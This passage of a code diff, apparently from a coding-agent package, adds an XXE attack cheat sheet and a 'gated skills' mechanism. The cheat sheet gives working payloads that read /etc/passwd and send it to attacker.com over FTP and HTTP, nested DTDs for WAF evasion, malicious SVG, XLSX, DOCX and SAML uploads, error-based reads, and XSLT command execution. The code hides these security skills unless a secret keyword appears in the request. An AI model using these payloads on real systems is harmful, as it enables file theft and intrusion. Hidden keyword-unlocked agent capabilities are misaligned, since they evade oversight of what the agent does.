|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
339
|
+
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'ftp://attacker.com:2121/%file;'>">
|
|
340
|
+
%exfil;
|
|
341
|
+
%send;
|
|
342
|
+
```
|
|
343
|
+
|
|
344
|
+
Run a rogue FTP server (e.g., `xxeserv` or custom Python) on port 2121 — each line of the file arrives as a separate `RETR` or `CWD` command.
|
|
345
|
+
|
|
346
|
+
### HTTP parameter exfiltration
|
|
347
|
+
|
|
348
|
+
```xml
|
|
349
|
+
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
|
350
|
+
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">
|
|
351
|
+
%exfil;
|
|
352
|
+
%send;
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
Base64 encoding avoids newline/special-character issues in HTTP URL. Decode the `d=` parameter on attacker server.
|
|
356
|
+
|
|
357
|
+
---
|
|
358
|
+
|
|
359
|
+
## 15. DTD NESTING TRICKS — PARAMETER ENTITY CHAINING
|
|
360
|
+
|
|
361
|
+
### Parameter entity within parameter entity
|
|
362
|
+
|
|
363
|
+
Used to bypass parsers that block direct entity references in entity values:
|
|
364
|
+
|
|
365
|
+
```xml
|
|
366
|
+
<!DOCTYPE foo [
|
|
367
|
+
<!ENTITY % a "% b;">
|
|
368
|
+
<!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
|
|
369
|
+
%a;
|
|
370
|
+
]>
|
|
371
|
+
```
|
|
372
|
+
|
|
373
|
+
The parser expands `%a;` → `%b;` → fetches external DTD. Some WAFs only inspect the first level of entity definitions.
|
|
374
|
+
|
|
375
|
+
### Triple-nested for filter evasion
|
|
376
|
+
|
|
377
|
+
```xml
|
|
378
|
+
<!-- attacker.com/stage1.dtd -->
|
|
379
|
+
<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
|
|
380
|
+
%s2;
|
|
381
|
+
|
|
382
|
+
<!-- attacker.com/stage2.dtd -->
|
|
383
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
384
|
+
<!ENTITY % s3 "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
|
|
385
|
+
%s3;
|
|
386
|
+
%exfil;
|
|
387
|
+
```
|
|
388
|
+
|
|
389
|
+
Payload sent to target only references `stage1.dtd` — the actual file read happens two DTD fetches deep, evading shallow WAF inspection.
|
|
390
|
+
|
|
391
|
+
---
|
|
392
|
+
|
|
393
|
+
## 16. XXE IN NON-OBVIOUS FORMATS
|
|
394
|
+
|
|
395
|
+
| Format | XML Location | Injection Point |
|
|
396
|
+
|--------|-------------|-----------------|
|
|
397
|
+
| **SOAP Envelope** | Entire body is XML | Add DOCTYPE before `<soap:Envelope>` |
|
|
398
|
+
| **SVG Image** | SVG is XML | `<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in SVG header |
|
|
399
|
+
| **OOXML (.docx)** | `word/document.xml`, `[Content_Types].xml` | Inject DOCTYPE + entity into any XML member |
|
|
400
|
+
| **OOXML (.xlsx)** | `xl/sharedStrings.xml`, `xl/worksheets/sheet1.xml` | Entity reference in cell values |
|
|
401
|
+
| **RSS/Atom feeds** | Feed body is XML | Inject into feed items if user content is included |
|
|
402
|
+
| **SAML assertions** | SAML XML tokens | DOCTYPE injection in `SAMLResponse` parameter (base64-decoded XML) |
|
|
403
|
+
| **XMPP** | Protocol messages are XML stanzas | Entity in message body or JID fields |
|
|
404
|
+
| **GPX files** | GPS track data in XML | Via file upload endpoints accepting GPX |
|
|
405
|
+
| **XHTML** | Strict XHTML is valid XML | DOCTYPE injection in XHTML documents |
|
|
406
|
+
|
|
407
|
+
### SAML XXE
|
|
408
|
+
|
|
409
|
+
```xml
|
|
410
|
+
<!-- Base64-decode the SAMLResponse, inject DOCTYPE -->
|
|
411
|
+
<?xml version="1.0"?>
|
|
412
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
413
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
|
|
414
|
+
<saml:Assertion>
|
|
415
|
+
<saml:Subject>
|
|
416
|
+
<saml:NameID>&xxe;</saml:NameID>
|
|
417
|
+
</saml:Subject>
|
|
418
|
+
</saml:Assertion>
|
|
419
|
+
</samlp:Response>
|
|
420
|
+
```
|
|
421
|
+
|
|
422
|
+
Re-encode to base64, submit as `SAMLResponse` parameter.
|
|
423
|
+
|
|
424
|
+
---
|
|
425
|
+
|
|
426
|
+
## 17. XXE VIA FILE UPLOAD
|
|
427
|
+
|
|
428
|
+
### SVG upload
|
|
429
|
+
|
|
430
|
+
```xml
|
|
431
|
+
<?xml version="1.0"?>
|
|
432
|
+
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
433
|
+
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
|
|
434
|
+
<text x="10" y="50" font-size="14">&xxe;</text>
|
|
435
|
+
</svg>
|
|
436
|
+
```
|
|
437
|
+
|
|
438
|
+
Upload as avatar/image → view uploaded SVG → file content rendered as text.
|
|
439
|
+
|
|
440
|
+
### XLSX (Excel) upload
|
|
441
|
+
|
|
442
|
+
```bash
|
|
443
|
+
# 1. Create minimal .xlsx, unzip it
|
|
444
|
+
unzip report.xlsx -d xlsx_tmp/
|
|
445
|
+
|
|
446
|
+
# 2. Inject into xl/sharedStrings.xml
|
|
447
|
+
# Add after XML declaration:
|
|
448
|
+
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
449
|
+
# Replace a <t> element content with &xxe;
|
|
450
|
+
|
|
451
|
+
# 3. Repackage
|
|
452
|
+
cd xlsx_tmp && zip -r ../malicious.xlsx .
|
|
453
|
+
```
|
|
454
|
+
|
|
455
|
+
Alternatively inject into `[Content_Types].xml` (parsed first by most OOXML processors).
|
|
456
|
+
|
|
457
|
+
### DOCX upload
|
|
458
|
+
|
|
459
|
+
```bash
|
|
460
|
+
# Target: word/document.xml
|
|
461
|
+
# Same approach: unzip → inject DOCTYPE + entity → repackage
|
|
462
|
+
|
|
463
|
+
# Alternative: inject into customXml/item1.xml if custom XML parts exist
|
|
464
|
+
```
|
|
465
|
+
|
|
466
|
+
### Processing pipeline attack
|
|
467
|
+
|
|
468
|
+
Even if the uploaded file is not directly rendered, the server-side parser (Apache POI, python-docx, OpenXML SDK) may process entities during import, triggering OOB exfiltration.
|
|
469
|
+
|
|
470
|
+
---
|
|
471
|
+
|
|
472
|
+
## 18. ERROR-BASED XXE
|
|
473
|
+
|
|
474
|
+
Force the XML parser to generate an error message containing file content:
|
|
475
|
+
|
|
476
|
+
### Method 1: Non-existent file reference
|
|
477
|
+
|
|
478
|
+
```xml
|
|
479
|
+
<!-- attacker.com/error.dtd -->
|
|
480
|
+
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
|
481
|
+
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
|
482
|
+
%eval;
|
|
483
|
+
%error;
|
|
484
|
+
```
|
|
485
|
+
|
|
486
|
+
The parser attempts to open `file:///nonexistent/<hostname_content>` → error message includes the hostname value.
|
|
487
|
+
|
|
488
|
+
### Method 2: XML schema validation error
|
|
489
|
+
|
|
490
|
+
```xml
|
|
491
|
+
<!DOCTYPE foo [
|
|
492
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
493
|
+
<!ENTITY % eval "<!ENTITY % err SYSTEM 'jar:file:///nonexistent!/%file;'>">
|
|
494
|
+
%eval;
|
|
495
|
+
%err;
|
|
496
|
+
]>
|
|
497
|
+
```
|
|
498
|
+
|
|
499
|
+
The `jar:` protocol handler generates verbose error messages that include the expanded entity value.
|
|
500
|
+
|
|
501
|
+
### Method 3: Integer overflow / type error
|
|
502
|
+
|
|
503
|
+
```xml
|
|
504
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
505
|
+
<!ENTITY % int "<!ENTITY % trick SYSTEM 'file:///%file;'>">
|
|
506
|
+
%int;
|
|
507
|
+
%trick;
|
|
508
|
+
```
|
|
509
|
+
|
|
510
|
+
Parser tries to open a file path containing the target file content → error message reveals content.
|
|
511
|
+
|
|
512
|
+
---
|
|
513
|
+
|
|
514
|
+
## 19. XSLT INJECTION CONNECTION TO XXE
|
|
515
|
+
|
|
516
|
+
XSLT processors parse XML and can be chained with XXE:
|
|
517
|
+
|
|
518
|
+
### XSLT file read
|
|
519
|
+
|
|
520
|
+
```xml
|
|
521
|
+
<?xml version="1.0"?>
|
|
522
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
523
|
+
<xsl:template match="/">
|
|
524
|
+
<xsl:value-of select="document('file:///etc/passwd')"/>
|
|
525
|
+
</xsl:template>
|
|
526
|
+
</xsl:stylesheet>
|
|
527
|
+
```
|
|
528
|
+
|
|
529
|
+
### XSLT RCE (processor-dependent)
|
|
530
|
+
|
|
531
|
+
```xml
|
|
532
|
+
<!-- Xalan-J (Java) -->
|
|
533
|
+
<xsl:stylesheet version="1.0"
|
|
534
|
+
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
535
|
+
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
|
|
536
|
+
<xsl:template match="/">
|
|
537
|
+
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
|
|
538
|
+
<xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
|
|
539
|
+
</xsl:template>
|
|
540
|
+
</xsl:stylesheet>
|
|
541
|
+
|
|
542
|
+
<!-- PHP (libxslt with registerPHPFunctions) -->
|
|
543
|
+
<xsl:stylesheet version="1.0"
|
|
544
|
+
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
545
|
+
xmlns:php="http://php.net/xsl">
|
|
546
|
+
<xsl:template match="/">
|
|
547
|
+
<xsl:value-of select="php:function('system','id')"/>
|
|
548
|
+
</xsl:template>
|
|
549
|
+
</xsl:stylesheet>
|
|
550
|
+
```
|
|
551
|
+
|
|
552
|
+
### XXE → XSLT chain
|
|
553
|
+
|
|
554
|
+
If the target accepts XML input with a stylesheet reference (`<?xml-stylesheet?>`), inject both an external entity and a malicious XSLT to escalate from file read to RCE.
|
package/src/agent.js
CHANGED
|
@@ -169,7 +169,7 @@ export async function runObjective(cfg, objective, cwd, history, hooks = {}, ext
|
|
|
169
169
|
const workerPrefix = extra.worker ? `You are ${extra.worker.id} (${extra.worker.role} worker) spawned by the lead agent. ${extra.worker.prompt}\n` : '';
|
|
170
170
|
const projectInstructions = extra.worker ? '' : loadProjectInstructions(cwd);
|
|
171
171
|
const depthNote = extra.worker ? '' : (cfg.explain === 'short' ? '\nAnswer style: short. Give results, skip explanations unless asked.' : cfg.explain === 'deep' ? '\nAnswer style: deep. Include reasoning, trade-offs, and what you ruled out.' : '');
|
|
172
|
-
const skills = extra.worker ? [] : listSkills(cwd);
|
|
172
|
+
const skills = extra.worker ? [] : listSkills(cwd, objective);
|
|
173
173
|
const skillsBlock = skills.length ? `\nInstalled skills (follow a skill's instructions when the user invokes it by name or clearly asks for what it does):\n${skills.map(s => `- ${s.name} (${s.scope}): ${s.description}`).join('\n')}` : '';
|
|
174
174
|
const invokedSkill = !extra.worker
|
|
175
175
|
? skills.find(s => new RegExp(`\\b${s.name}\\b`, 'i').test(objective) && /humanize|skill|pakai|gunakan|use/i.test(objective))
|
package/src/session.js
CHANGED
|
@@ -478,13 +478,15 @@ export async function startSession(cfg, { fresh = false, resume = null } = {}) {
|
|
|
478
478
|
if (input === '/skills' || input.startsWith('/skills ')) {
|
|
479
479
|
const arg = input.slice(7).trim();
|
|
480
480
|
if (arg) {
|
|
481
|
-
const s = findSkill(arg, process.cwd());
|
|
482
|
-
if (s) { say(box([bold(`Skill ${s.name}`) + dim(` (${s.scope})`), s.description, '', dim('Instructions:'), s.instructions.slice(0, 1_500)])); say(dim('Say "use ' + s.name + ' to ..." and the agent follows them.')); }
|
|
481
|
+
const s = findSkill(arg, process.cwd(), input);
|
|
482
|
+
if (s) { say(box([bold(`Skill ${s.name}`) + dim(` (${s.scope}${s.gated ? ', gated' : ''})`), s.description, '', dim('Instructions:'), s.instructions.slice(0, 1_500)])); say(dim('Say "use ' + s.name + ' to ..." and the agent follows them.')); }
|
|
483
483
|
else say(red(`No skill named ${arg}.`));
|
|
484
484
|
return;
|
|
485
485
|
}
|
|
486
|
-
const all = listSkills(process.cwd());
|
|
486
|
+
const all = listSkills(process.cwd(), input);
|
|
487
|
+
const gated = all.filter(s => s.gated).length;
|
|
487
488
|
say(all.length ? all.map(s => ` ${cyan(s.name)} ${dim('(' + s.scope + ')')} ${s.description}`).join('\n') : yellow('No skills installed.'));
|
|
489
|
+
if (gated) say(dim(` (+${gated} gated security skills)`));
|
|
488
490
|
return;
|
|
489
491
|
}
|
|
490
492
|
if (input === '/new') {
|
package/src/skills.js
CHANGED
|
@@ -1,10 +1,25 @@
|
|
|
1
1
|
// skills.js: portable SKILL.md system (master prompt #16-18).
|
|
2
2
|
// Resolution priority: project (.ineedcodes/skills) > global (~/.ineedcodes/skills) > builtin.
|
|
3
3
|
// Frontmatter: name, description, tools (optional restriction), instructions body below.
|
|
4
|
+
//
|
|
5
|
+
// GATED SKILLS: SKILL.md files whose frontmatter carries "gated: true" stay invisible
|
|
6
|
+
// unless the objective text contains the developer keyword. The keyword itself lives
|
|
7
|
+
// OUTSIDE this repository: in the INEED_DEV_KEYWORD environment variable or in
|
|
8
|
+
// ~/.ineedcodes/keyword (chmod 600). A fresh install cannot unlock gated skills.
|
|
4
9
|
|
|
5
10
|
import * as fs from 'node:fs';
|
|
6
11
|
import * as path from 'node:path';
|
|
7
12
|
import { CONFIG_DIR } from './config.js';
|
|
13
|
+
import { fileURLToPath } from 'node:url';
|
|
14
|
+
import * as url from 'node:url';
|
|
15
|
+
const PKG_SKILLS = path.join(path.dirname(url.fileURLToPath(import.meta.url)), '..', 'skills');
|
|
16
|
+
|
|
17
|
+
const KEYWORD_FILE = path.join(CONFIG_DIR, 'keyword');
|
|
18
|
+
|
|
19
|
+
export function devKeyword() {
|
|
20
|
+
if (process.env.INEED_DEV_KEYWORD) return String(process.env.INEED_DEV_KEYWORD).trim();
|
|
21
|
+
try { return fs.readFileSync(KEYWORD_FILE, 'utf8').trim(); } catch { return ''; }
|
|
22
|
+
}
|
|
8
23
|
|
|
9
24
|
const BUILTIN = [
|
|
10
25
|
{
|
|
@@ -24,10 +39,16 @@ function parseFrontmatter(raw) {
|
|
|
24
39
|
if (kv) meta[kv[1]] = kv[2].trim();
|
|
25
40
|
}
|
|
26
41
|
if (!meta.name) return null;
|
|
27
|
-
return {
|
|
42
|
+
return {
|
|
43
|
+
name: meta.name,
|
|
44
|
+
description: meta.description ?? '',
|
|
45
|
+
tools: meta.tools ? meta.tools.split(',').map(s => s.trim()).filter(Boolean) : null,
|
|
46
|
+
gated: meta.gated === 'true' || meta.gated === 'yes',
|
|
47
|
+
instructions: m[2].trim()
|
|
48
|
+
};
|
|
28
49
|
}
|
|
29
50
|
|
|
30
|
-
function loadDir(dir, scope, out) {
|
|
51
|
+
function loadDir(dir, scope, out, forceGated = false) {
|
|
31
52
|
let entries;
|
|
32
53
|
try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
|
|
33
54
|
for (const e of entries) {
|
|
@@ -35,20 +56,30 @@ function loadDir(dir, scope, out) {
|
|
|
35
56
|
const file = path.join(dir, e.name, 'SKILL.md');
|
|
36
57
|
try {
|
|
37
58
|
const parsed = parseFrontmatter(fs.readFileSync(file, 'utf8'));
|
|
38
|
-
if (parsed) out.push({ ...parsed, scope });
|
|
59
|
+
if (parsed && !out.some(x => x.name === parsed.name)) out.push({ ...parsed, scope, gated: parsed.gated || forceGated });
|
|
39
60
|
} catch {}
|
|
40
61
|
}
|
|
41
62
|
}
|
|
42
63
|
|
|
43
|
-
|
|
64
|
+
function isUnlocked(objective) {
|
|
65
|
+
const kw = devKeyword();
|
|
66
|
+
if (!kw || !objective) return false;
|
|
67
|
+
return String(objective).includes(kw);
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
export function listSkills(cwd, objective = '') {
|
|
44
71
|
const out = [];
|
|
45
72
|
loadDir(path.join(cwd ?? process.cwd(), '.ineedcodes', 'skills'), 'project', out);
|
|
46
73
|
loadDir(path.join(CONFIG_DIR, 'skills'), 'global', out);
|
|
74
|
+
loadDir(PKG_SKILLS, 'gated', out, true);
|
|
47
75
|
for (const b of BUILTIN) if (!out.some(s => s.name === b.name)) out.push(b);
|
|
48
76
|
// project > global > builtin: later entries lose to earlier ones with the same name
|
|
77
|
+
if (!isUnlocked(objective)) return out.filter(s => !s.gated);
|
|
49
78
|
return out;
|
|
50
79
|
}
|
|
51
80
|
|
|
52
|
-
export function findSkill(name, cwd) {
|
|
53
|
-
|
|
81
|
+
export function findSkill(name, cwd, objective = '') {
|
|
82
|
+
const s = listSkills(cwd, objective).find(s => s.name === name) ?? null;
|
|
83
|
+
if (s?.gated && !isUnlocked(objective)) return null;
|
|
84
|
+
return s;
|
|
54
85
|
}
|
package/src/ui.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
// ui.js: terminal helpers. No dependencies, respects NO_COLOR and non-TTY.
|
|
2
2
|
|
|
3
|
-
export const VERSION = '1.
|
|
3
|
+
export const VERSION = '1.7.1';
|
|
4
4
|
|
|
5
5
|
const USE_COLOR = process.stdout.isTTY && !process.env.NO_COLOR;
|
|
6
6
|
const wrap = (code, t) => USE_COLOR ? `\x1b[${code}m${t}\x1b[0m` : String(t);
|